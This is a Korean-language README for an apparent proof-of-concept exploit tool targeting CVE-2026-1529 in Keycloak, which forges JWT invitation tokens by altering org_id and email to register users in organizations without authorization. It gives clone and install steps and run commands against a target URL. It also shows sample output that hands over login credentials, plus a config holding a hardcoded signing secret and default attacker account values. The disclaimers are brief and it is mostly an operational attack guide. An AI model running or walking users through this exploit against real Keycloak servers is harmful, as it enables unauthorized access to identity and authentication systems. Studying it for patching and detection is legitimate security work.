
CVE-2026-1529(PoC)은 Keycloak의 중요한 취약점으로, 부적절한 초대 토큰 검증을 통해 승인되지 않은 조직 등록을 허용합니다. 이 익스플로잇 도구는 JWT 토큰을 조작하여 승인되지 않은 조직에 사용자를 등록함으로써 취약점을 시연합니다.
Keycloak: 부적절한 초대 토큰 검증을 통한 무단 조직 등록
이 도구는 교육 및 보안 테스트 목적으로만 사용됩니다. 명시적 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 이 도구의 제작자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
제작자: f3ds cr3w est, 2002
CVE-2026-1529는 부적절한 초대 토큰 검증을 통해 무단 조직 등록을 허용하는 Keycloak의 심각한 취약점입니다. 이 익스플로잇 도구는 JWT 토큰을 조작하여 무단 조직에 사용자를 등록함으로써 취약점을 시연합니다.
취약점은 조직 초대를 위한 JWT 토큰 검증 프로세스에 존재합니다. 공격자는 JWT 페이로드의 org_id 및 email 필드를 조작하여 적절한 권한 없이 모든 조직에 사용자를 등록할 수 있습니다.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standard usage with target URL
python keycloak-exploit.py https://target-keycloak.com
# Show help
python keycloak-exploit.py -h
# Show version
python keycloak-exploit.py -v
# Use custom invitation token
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Use custom organization ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Use custom configuration file
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Enable debug logging
python keycloak-exploit.py -d https://target-keycloak.com
익스플로잇이 성공하면 다음과 같은 출력이 나타납니다:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
익스플로잇이 실패하면 다음과 같이 표시됩니다:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
이 도구는 다음 설정을 포함하는 기본 설정 파일(config/default_config.json)을 사용합니다:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
사용자 정의 설정 파일을 생성하여 -c 옵션과 함께 사용할 수 있습니다:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
이 도구는 부적절한 JWT 검증을 다음과 같이 악용합니다:
org_id 필드를 수정하여 다른 조직을 대상으로 지정email 필드 수정연결 오류
토큰 검증 오류
org_id, email, invitation_type)가 포함되어 있는지 확인등록 실패
상세한 문제 해결을 위해 디버그 로깅을 활성화하십시오:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txt이 도구는 다음 검사를 수행합니다:
다음 조건을 충족하면 익스플로잇이 성공한 것으로 간주됩니다:
이 도구는 교육 및 보안 테스트 목적으로만 제공됩니다. 사용에 따른 책임은 사용자에게 있습니다.
제작자: f3ds cr3w est, 2002
문의: 질문이나 피드백은 프로젝트 저장소를 참조하십시오.
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 현명하고 윤리적으로 사용하십시오.
by f3ds cr3w est, 2002
| 옵션 | 설명 | 필수 여부 |
|---|
target | 대상 Keycloak URL (IP 또는 도메인) | 예 |
-t, --token | 사용할 사용자 정의 초대 토큰 | 아니오 |
-o, --org-id | 사용자 정의 조직 ID | 아니오 |
-c, --config | 설정 파일 경로 | 아니오 |
-d, --debug | 디버그 로깅 활성화 | 아니오 |
-v, --version | 버전 정보 표시 | 아니오 |
-h, --help | 도움말 메시지 표시 | 아니오 |